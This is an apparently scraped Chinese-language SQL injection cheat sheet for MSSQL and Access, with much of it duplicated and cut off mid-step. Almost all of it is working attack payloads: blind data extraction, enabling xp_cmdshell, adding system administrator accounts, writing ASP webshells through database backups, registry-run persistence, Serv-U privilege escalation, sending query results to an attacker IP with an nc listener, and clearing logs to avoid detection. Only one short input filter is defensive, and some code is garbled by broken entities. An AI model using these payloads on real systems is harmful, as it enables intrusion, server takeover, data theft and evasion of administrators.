SQL手工注入

比方說在查詢id是50的數據時,若是用戶傳近來的參數是50 and 1=1,若是沒有設置過濾的話,能夠直接查出來,SQL 注入通常在ASP程序中遇到最多,

看看下面的
1.判斷是否有注入
;and 1=1
;and 1=2

2.初步判斷是不是mssql
;and user>0

3.判斷數據庫 系統
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入參數是字符
'and [查詢條件] and ''='

5.搜索時沒過濾參數的
'and [查詢條件] and '%'='

6.猜數據庫
;and (select Count(*) from [數據庫名])>0

7.猜字段
;and (select Count(字段名) from 數據庫名)>0

8.猜字段中記錄長度
;and (select top 1 len(字段名) from 數據庫名)>0

9.(1)猜字段的ascii值(access)
; and (select top 1 asc(mid(字段名,1,1)) from 數據庫名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0

10.測試權限結構(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS _SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--< br />;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系統的賬戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步獲得的paths'))>)

(2)遍歷目錄
;create table te mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目錄列表
;insert into temp(id,num1) exec m aster.dbo.xp_dirtree 'c:\';-- 得到全部子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容

13.mssql中的存儲過程
xp_regenumvalues 註冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Micr osoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回全部鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入註冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio n','TestvalueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下全部值

14.mssql的backup建立webshell
use model
create table cmd(str image);
insert into cmd(str) values ('') ;
backup database model to disk='c:\l.asp';

15.mssql內置函數
;and (select @@version)>0 得到Windows的版本號
;and user_name()='dbo' 判斷當前系統的鏈接用戶是否是sa
;and (select user_name())>0 爆當前系統的鏈接用戶
;and (select db_name())>0 獲得當前鏈接的數 據庫


16.簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

請求的時候,像這樣子用:
http://ip/l.asp?c=dir

SQL手工注入大全

前提須要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell擴展過程的方法是使用以下語句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell擴展過程的方法是使用以下語句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlEx ec Sunx Version的Format選項裏填上%s,在CMD選項裏輸入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'




SQL手工注入方法總結(SQL Server2005)2010-01-28 16:17---------如下以省略注入點用URL代替

--(1) ******查看驅動器方法******

-- 建表p(i爲自動編號,a記錄盤符相似"c:",b記錄可用字節,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar( 255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出全部驅動器並插入表p

URL;and (select count(*) from p)>3;--折半法查出驅動器總數

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驅動器名(注asc(c)=67)

--上面通常用於無顯錯狀況下使用-------以此類推,獲得全部驅動器名

URL;and (select a from p where i=1)>3;--報錯獲得第一個驅動器名

--上面通常用於顯錯狀況下使用-------以此類推,獲得全部驅動器名

URL;;drop table p;--刪除表p

--(2) ******查看目錄方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m記錄目錄,i記錄深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驅動器e並插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 an d m not in(select top 0 m from pa))>0;--報錯獲得深度i=1的第一個目錄名

--上面通常用顯錯且目錄名不爲數字狀況下使用-------(獲得第二個目錄把"top 0"換爲"top 1",換深度只換i就行)以此類推,獲得e盤的全部目錄

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半 法查出深度i=1的第一個目錄名的長度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一個目錄名的第一個字符長度

--上面通常用無顯錯狀況下使用-------(獲得第二個目錄把"top 0"換爲"top 1",換深度只換i就行)以此類推,獲得e盤的全部目錄

URL;drop table pa;--刪除表pa

----------------------------通過上面的方法就可獲得 服務器全部目錄(這裏爲鏈接用戶有讀取權限目錄)-----------------

--(3) 數據庫備份到Web目錄(先拿個WebShell再說吧 注:此爲SQL Server2000)

URL;alter database employ_ set RECOVERY FULL;--把當前庫L設置成日誌徹底恢復模式

URL;URL;c reate table s(l image);--建表s

URL;backup log s to disk = ’c:cmd’ with init;--減小備分數據的大小

URL;URL;insert s values(’’)--在表s中插入一句話馬

URL;backup log hh to disk = ’e:\web\g.asp’;--備分日誌到WEB路徑

URL;drop table s;--刪除表s

URL;alter database hh set RECOVERY SIMPLE;--把SQL設置成日誌簡單恢復模式

--------------------------------------OK到此WebShell應該到手了-----------------------------------------------

--(4) 如下爲一些注入雜項

- ---SA權限:

URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用戶

URL;exec master.dbo.sp_password null,hacker,hacker;--設置SQL賬號hacker 的 密碼爲 hacker

RL; exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker進sysadmin管理組

URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--創建一個系統用hacker 並設置其密碼爲hacker

URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker加入到 管理員

---- SQL Server2005暴庫、表、段法(前提有顯錯、無顯錯用折半法)

URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法獲得數據庫個數

URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

--依次提交 dbid = 2.3.4... 獲得更多的數據庫名

URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);--折半法獲得表個數(假設暴出庫名employ)

URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)

-- 假設暴出 表名爲"employ_qj"則在上面語句上加條件 and name not in (’employ_qj’ 以此一直加條件....

URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--

--假設暴出字段名爲"id"則在上面語句上加上條件 and name not is(’id’) 以此一直加條件....

---------------------按上面方法庫、表、段的名稱均可以獲得----用以上方法能夠獲得段段裏的數據--------------------
select * from master.dbo.sysdatabases --查詢數據庫

select * from NetBook.dbo.sysobjects where xtype=’u’ --查詢數據庫NetBook裏的表

select * from NetBook.dbo.syscolumns where id=object_id(’book’) --查詢book表裏的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL擴展沙盤提權-----------------------------------

看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_O Acreate能夠用用SP_OAcreate同樣能夠執行系統命令
在查詢分析器裏執行
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&rsquo ;
這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統用戶 而後直接提高爲管理員權限就OK了
提示命令完成成功


直接寫
個一句話進去
語句以下
exec master.dbo.xp_subdirs ’d:\web\ www. xx.com’;
exec sp_makewebtask ’d:\web\ www.XXXX.com\XX.asp’,’select’’’’ ’
提示命令執行成功偶 們看看效果

查詢分析器裏執行select * from openrowset(’microsoft.jet.oledb.4.0’,’
;database=c:\windows\system32\ias\ias.mdb’,
’select shell("cmd.exe /c net user admin admin1234 /add")’)來利用沙盤來添加個管理員 可是事實告訴
我 我 的RP並很差

嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServU Daemon.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end
這段代碼就能夠把ServUDaemon.ini裏的配置信息所有顯示出來 嘿嘿 既然能看了那偶門不是同樣能夠寫進去?
直接寫一個系統權限的 FTP賬號 進去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
ex ec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL, 《這裏添寫本身寫好的SU配置信息剛纔複製的那些都要
寫上去》
而後執行一下 成功執行 咱們再用存儲過程看看寫進去沒有
OK 我XXXXXX 成功寫 進去了一個用戶名爲XXXX密碼爲空的系統權限的FTP 而後偶們在FTP裏執行
quote siteXXXXXXX 提權就行了。 這裏已經很熟悉了 就不寫了。~ 而後用3389連一下 成功地到服務器權限
而後偶們再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 來清理掉SQL日誌 免的被管理員發現

------
DE CLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output

EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a

------------------------------MSSQL db_owner注入利用xp_regwrite得到系統權限---------------- -----------------------

xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’


呵呵,返回一個正常頁面,說明成功完成 拉,再在注射點輸入


xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’

---------------------------------------------------------------------------------------------

  簡單的如where xtype=’U’,字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;

若是字符是 中文的,好比where name=’用戶’,能夠用where name=nchar(29992)+nchar(25143)代替。

-------------------------------------------備份一句話木馬----------------------------------------

日誌備分WEBSHELL標準的七步:

1.InjectionURL’;alter databas e XXX set RECOVERY FULL-- (把SQL設置成日誌徹底恢復模式)

2.InjectionURL’;create table cmd (a image)-- (新創建一個cmd表)

3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (減小備分數據的大小)

4.InjectionURL’;in sert into cmd (a) values (’’)-- (插入一句話木馬)

5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (備分日誌到WEB路徑)

6.InjectionURL’;drop table cmd-- (刪除新建的cmd表)

7.InjectionURL’;a lter database XXX set RECOVERY SIMPLE--(把SQL設置成日誌簡單恢復模式)

注:InjectionURL是注入點,XXX是數據庫名稱.

數據庫差別備份代碼:
BACKUPLOGpeihuaWITHNO_LOGDBCCSHRINKDATABASE(peihua)--

dumptransactionpeihuawithno_log--
0.dump transaction 數據庫名 wi th no_log 清空日誌

一、create table [dbo].[jm_tmp] ([cmd] [image])-- 建立一個表

二、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --備份數據庫,@s爲備份名稱(jmdcw的16進制轉換)

三、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--將一句話木馬 ""的16進制字符插入到表中

四、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’Crogram FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --對數據庫實行差別備份,備份的保存路徑暫定爲C盤目錄,文件名爲hsqq.asp。

五、drop table [jm_tmp]-- 刪除此表。

---------------------------------------------------防--------------------------------------------

Function SafeRequest(ParaName,ParaType)
 ’ --- 傳入參數 ---
 ’ParaName:參數名稱-字符型
 ’ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數爲字符)

 Dim Paravalue
 Paravalue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(Paravalue) then
   Response.write "參數" &amp ; ParaName & "必須爲數字型!"
   Response.end
  End if
 Else
  Paravalue=replace(Paravalue,"’","’’")
 End if
 SafeRequest=Paravalue
End function


-- 繞過單引號繼續注入

URL;declare @cmd sy sname select @cmd=這裏爲你要執行命令的16進制 exec master.dbo.xp_cmdshell @cmd;--

--先聲明一個變量cmd,而後把咱們的指令賦值給cmd

--sql server 2005下開啓xp_cmdshell的辦法

EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure &rs quo;xp_cmdshell’, 1;RECONFIGURE;

--SQL2005開啓’OPENROWSET’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ad Hoc Distributed Queries’,1;RECONFIGURE;

--SQL2005開啓’sp_oacreate’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ’Ole Automation Procedures’,1;RECONFIGURE;

在db權限而且分離獲取mssql數據庫服務器ip的方法

1.本地nc監 聽 nc -vvlp 80

2.;insert into OPENROWSET(’SQLOLEDB’,’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;’, ’select * from dest_table’) select * from src_table;--


---------------------------------如下爲檢測方法---------------------------------

--檢測能否注入
========================================================= ====================
URL and 1=1;--正常頁面
URL and 1=2;--出錯頁面

=============================================================================
--檢測數據庫的
=============================================================================< br />URL and (select count(*) from sysobjects)>0;--返回正常sql server
URL and (select count(*) from msysobjects)>0;--返回正常Access

=============================================================================
--檢測路徑的
============= ================================================================
URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;--

=============================================================================
- -檢測表段的
=============================================================================
URL and exists (select * from admin);--

=============================================================================
--檢測字段的
============= ================================================================
URL and exists (select username from admin) ;--

=============================================================================
--檢測ID
=============================== ==============================================
URL and exists (select id from admin where ID=1) ;--

=============================================================================
--檢測長度的
=========================================== ==================================
URL and exists (select id from admin where len(username)=5 and ID=1);--

=============================================================================
--檢測是否爲MSSQL數據庫
============================ =================================================
URL and exists (select * from sysobjects) ;--

=============================================================================
--檢測是否爲英文 ;--
========================================= ====================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS數據庫


URL and exists (select id from admin where unicode(substring(username,1,1)) betwee n 30 and 130 and ID=1) ;--MSSQL數據庫

=============================================================================
--檢測英文的範圍
=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS數據庫

URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL數據庫

================================ =============================================
--檢測那個字符
=============================================================================

URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS數據庫

URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL數據庫



比方說在查詢id是50的數據時,若是用戶傳近來的參數是50 and 1=1,若是沒有設置過濾的話,能夠直接查出來,SQL 注入通常在ASP程序中遇到最多,

看看下面的
1.判斷是否有注入
;and 1=1
; and 1=2

2.初步判斷是不是mssql
;and user>0

3.判斷數據庫系統
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入參數是字符
'and [查詢條件] and ''='

5.搜索時沒過濾參數 的
'and [查詢條件] and '%'='

6.猜數據庫
;and (select Count(*) from [數據庫名])>0

7.猜字段
;and (select Count(字段名) from 數據庫名)>0

8.猜字段中記錄長度
;and (select top 1 len(字段名) from 數據庫名)>0

9.(1)猜字段的ascii值(acc ess)
;and (select top 1 asc(mid(字段名,1,1)) from 數據庫名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0

10.測試權限結構(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1 =(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulka dmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系統的賬戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步獲得的paths'))>)

(2)遍歷目錄
;create table te mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目錄列表
;insert into temp(id,num1) exec m aster.dbo.xp_dirtree 'c:\';-- 得到全部子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容

13.mssql中的存儲過程
xp_regenumvalues 註冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Micr osoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回全部鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入註冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersio n','TestvalueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下全部值

14.mssql的backup建立webshell
use model
create table cmd(str image);
insert into cmd(str) values ('') ;
backup database model to disk='c:\l.asp';

15.mssql內置函數
;and (select @@version)>0 得到Windows的版本號
;and user_name()='dbo' 判斷當前系統的鏈接用戶是否是sa
;and (select user_name())>0 爆當前系統的鏈接用戶
;and (select db_name())>0 獲得當前鏈接的數 據庫


16.簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

請求的時候,像這樣子用:
http://ip/l.asp?c=dir

SQL手工注入大全

前提須要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell擴展過程的方法是使用以下語句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell擴展過程的方法是使用以下語句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlEx ec Sunx Version的Format選項裏填上%s,在CMD選項裏輸入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'




SQL手工注入方法總結(SQL Server2005)2010-01-28 16:17---------如下以省略注入點用URL代替

--(1) ******查看驅動器方法******

-- 建表p(i爲自動編號,a記錄盤符相似"c:",b記錄可用字節,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar( 255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出全部驅動器並插入表p

URL;and (select count(*) from p)>3;--折半法查出驅動器總數

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驅動器名(注asc(c)=67)

--上面通常用於無顯錯狀況下使用-------以此類推,獲得全部驅動器名

URL;and (select a from p where i=1)>3;--報錯獲得第一個驅動器名

--上面通常用於顯錯狀況下使用-------以此類推,獲得全部驅動器名

URL;;drop table p;--刪除表p

--(2) ******查看目錄方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m記錄目錄,i記錄深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驅動器e並插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 an d m not in(select top 0 m from pa))>0;--報錯獲得深度i=1的第一個目錄名

--上面通常用顯錯且目錄名不爲數字狀況下使用-------(獲得第二個目錄把"top 0"換爲"top 1",換深度只換i就行)以此類推,獲得e盤的全部目錄

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半 法查出深度i=1的第一個目錄名的長度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一個目錄名的第一個字符長度

--上面通常用無顯錯狀況下使用-------(獲得第二個目錄把"top 0"換爲"top 1",換深度只換i就行)以此類推,獲得e盤的全部目錄

URL;drop table pa;--刪除表pa

----------------------------通過上面的方法就可獲得服務器全部目錄(這裏爲鏈接用戶有讀取權限目錄)----- ------------

--(3) 數據庫備份到Web目錄(先拿個WebShell再說吧 注:此爲SQL Server2000)

URL;alter database employ_ set RECOVERY FULL;--把當前庫L設置成日誌徹底恢復模式

URL;URL;create table s(l image);--建表s

URL;backup log s to disk = ’c:cmd&rsq uo; with init;--減小備分數據的大小

URL;URL;insert s values(’’)--在表s中插入一句話馬

URL;backup log hh to disk = ’e:\web\g.asp’;--備分日誌到WEB路徑

URL;drop table s;--刪除表s

URL;alter database hh set RECOVERY SIMPLE ;--把SQL設置成日誌簡單恢復模式

--------------------------------------OK到此WebShell應該到手了-----------------------------------------------

--(4) 如下爲一些注入雜項

----SA權限:

URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用戶

URL; exec master.dbo.sp_password null,hacker,hacker;--設置SQL賬號hacker 的密碼爲 hacker

RL;exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker進sysadmin管理組

URL;exec master.dbo.xp_cmdshell ’net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--創建一個系統用hacker 並設置其密碼爲hacker

URL;exec master.dbo.xp_cmdshell ’net localgroup administrators hacker /add’;--hacker加入到管理員組

----SQL Server2005暴庫、表、段法(前提有顯錯、無顯錯用折半法)

URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法獲得數據庫個數

URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

--依次提交 dbid = 2.3.4... 獲得更多的數據庫名

URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype=’U’);--折半法獲得表個數(假設暴出庫名employ)

URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype=’U’)

-- 假設暴出表名爲"employ_qj"則在上面語句上加條件 and name not in (’employ_qj’ 以此一直加條件....

URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = ’u’ and name = ’employ_qj’));--

--假設暴出字段名爲"id"則在上面語句上加上條件 and name not is(’id’) 以此一直加條件....

---------------------按上面方法庫、表、段的名稱均可以獲得----用以上方法能夠獲得段段裏的數據--------------------
select * from master.dbo.sysdatabases --查詢數據庫

select * from NetBook.dbo.sysobjects where xtype=’u’ --查詢數據庫NetBook裏的表

select * from NetBook.dbo.syscolumns where id=object_id(’book’) --查詢book表裏的字段

---------------------------------------------------------------------------------------------------------------

---------------------------------------SQL擴展沙盤提權-----------------------------------

看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_O Acreate能夠用用SP_OAcreate同樣能夠執行系統命令
在查詢分析器裏執行
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&rsquo ;
這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統用戶 而後直接提高爲管理員權限就OK了
提示命令完成成功


直接寫
個一句話進去
語句以下
exec master.dbo.xp_subdirs ’d:\web\ www. xx.com’;
exec sp_makewebtask ’d:\web\ www.XXXX.com\XX.asp’,’select’’’’ ’ 提示命令執行成功偶 們看看效果 查詢分析器裏執行select * from openrowset(’microsoft.jet.oledb.4.0’,’ ;database=c:\windows\system32\ias\ias.mdb’, ’select shell("cmd.exe /c net user admin admin1234 /add")’)來利用沙盤來添加個管理員 可是事實告訴 我 我 的RP並很差 嘿嘿 使用declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’opentextfile’, @f out, ’d:\Serv-U6.3\ServU Daemon.ini’, 1 exec @ret = sp_oamethod @f, ’readline’, @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, ’readline’, @line out end 這段代碼就能夠把ServUDaemon.ini裏的配置信息所有顯示出來 嘿嘿 既然能看了那偶門不是同樣能夠寫進去? 直接寫一個系統權限的FTP賬號 進去 使用declare @o int, @f int, @t int, @ret int exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’createtextfile’, @f out, ’d:\Serv-U6.3\ServUD aemon.ini’, 1 exec @ret = sp_oamethod @f, ’writeline’, NULL, 《這裏添寫本身寫好的SU配置信息剛纔複製的那些都要 寫上去》 而後執行一下 成功執行 咱們再用存儲過程看看寫進去沒有 OK 我XXXXXX 成功寫進去了一個用戶名爲XXXX密碼爲空的系統權限的FTP 而後偶們在FTP裏執行 quote siteXXXXXXX 提權就行了。 這裏已經很熟悉了 就不寫了。 ~ 而後用3389連一下 成功地到服務器權限 而後偶們再用set nocount on declare @logicalfilename sysname, @maxminutes int, @newsize int 來清理掉SQL日誌 免的被管理員發現 ------ DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oame thod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a ------------------------------MSSQL db_owner注入利用xp_regwrite得到系統權限--------------------------------------- xp_regwrite ’HKEY_LOCAL_MACHINE’,&rs quo;SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq1’,’REG_SZ’,’net user h86$ hacker /add’ 呵呵,返回一個正常頁面,說明成功完成拉,再在注射點輸入 xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’,’xwq2’,’REG_SZ’,’net localgroup administrators h86$ /add’ ---------------------------------------------------------------------------------------------   簡單的如where xtype=’U’,字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替; 若是字符是 中文的,好比where name=’用戶’,能夠用where name=nchar(29992)+nchar(25143)代替。 -------------------------------------------備份一句話木馬---------------------------------------- 日誌備分WEBSHELL標準的七步: 1.InjectionURL’;alter databas e XXX set RECOVERY FULL-- (把SQL設置成日誌徹底恢復模式) 2.InjectionURL’;create table cmd (a image)-- (新創建一個cmd表) 3.InjectionURL’;backup log XXX to disk = ’c:cmd’ with init-- (減小備分數據的大小) 4.InjectionURL’;in sert into cmd (a) values (’’)-- (插入一句話木馬) 5.InjectionURL’;backup log XXX to disk = ’d:chinakmtest.asp’-- (備分日誌到WEB路徑) 6.InjectionURL’;drop table cmd-- (刪除新建的cmd表) 7.InjectionURL’;a lter database XXX set RECOVERY 